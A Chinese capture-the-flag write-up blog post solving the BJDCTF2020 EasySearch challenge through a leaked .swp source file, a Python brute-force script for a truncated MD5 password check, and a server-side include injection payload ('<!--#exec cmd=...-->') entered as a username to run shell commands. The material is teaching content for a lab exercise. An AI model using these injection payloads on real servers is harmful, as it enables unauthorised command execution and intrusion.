• [BUUOJ记录] [BJDCTF2020]EasySearch


    前面的突破点考察swp泄露以及md5截断认证,最后一步考察ssi注入

    进入题目是一个登陆页面什么提示都没有,工具扫了一下发现swp泄露,得到登录验证页面的源码:

    <?php
        ob_start();
        function get_hash(){
            $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
            $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
            $content = uniqid().$random;
            return sha1($content); 
        }
        header("Content-Type: text/html;charset=utf-8");
        ***
        if(isset($_POST['username']) and $_POST['username'] != '' )
        {
            $admin = '6d0bc1';
            if ( $admin == substr(md5($_POST['password']),0,6)) {
                echo "<script>alert('[+] Welcome to manage system')</script>";
                $file_shtml = "public/".get_hash().".shtml";
                $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
                $text = '
                ***
                ***
                <h1>Hello,'.$_POST['username'].'</h1>
                ***
                ***';
                fwrite($shtml,$text);
                fclose($shtml);
                ***
                echo "[!] Header  error ...";
            } else {
                echo "<script>alert('[!] Failed')</script>";
                
        }else
        {
        ***
        }
        ***
    ?>

    登录页面的突破点在这里:

     $admin = '6d0bc1';
            if ( $admin == substr(md5($_POST['password']),0,6)) {
            ......

    要求输入的密码Md5前6位等于6d0bc1,Md5截断验证,参考我之前的两篇博客:

    https://www.cnblogs.com/yesec/p/11297568.html

    https://www.cnblogs.com/yesec/p/11300841.html

    直接放脚本:

    from multiprocessing.dummy import Pool as tp
    import hashlib
    
    knownMd5 = '6d0bc1'
     
    def md5(text): 
        return hashlib.md5(str(text).encode('utf-8')).hexdigest()
    
    def findCode(code):   
        key = code.split(':')
        start = int(key[0])  
        end = int(key[1]) 
        for code in range(start, end):
            if md5(code)[0:6] == knownMd5:            
                print(code)
                break
    
    list=[] 
    for i in range(5):
        list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
    pool = tp()   
    pool.map(findCode, list) 
    pool.close()
    pool.join()

    爆破出来可以使用2020666登录,随便输入一个用户名即可登录

    登陆上去发现什么都没有,用8倍镜可以看到有一行灰色小字:

    应该是一个hint,看一下Header信息:

     得到路径,输入地址看一下:

     可以看到用户名是被直接输出了,一开始看到底下的IP还以为是ssti,后来测试了一下发现没有什么用,这时候才发现是shtml页面

    想到可能存在SSI注入,这里我们的用户名是可控的

    关于SSI注入可以参考这篇文章:https://www.secpulse.com/archives/66934.html

    构造Payload测试一下:

    <!--#exec cmd="ls ../"-->

    返回登录页面将Payload当作用户名,密码2020666登录,进入Header中提示的页面:

    可以看到我们的命令被执行了,但是此时我们ls的是/public/目录,我们再列出网站根目录下的所有文件:

    <!--#exec cmd="ls ../"-->

     找到了Flag所在的文件,直接访问得到Flag:

    关于SSI注入可以参考:https://www.secpulse.com/archives/66934.html

    在做题的过程中如果遇到shtml就可以考虑一下是否存在SSI注入

  • 相关阅读:
    JavaScript学习笔记之数组(一)
    Ajax与CORS通信
    JSONP跨域
    JavaScript原型与原型链
    CSS布局套路
    爱奇艺的自制节目
    2019.3.6错误经验
    Kickdown UVA
    ASP.NET Web
    C# Windows
  • 原文地址:https://www.cnblogs.com/yesec/p/12489186.html
Copyright © 2020-2023  润新知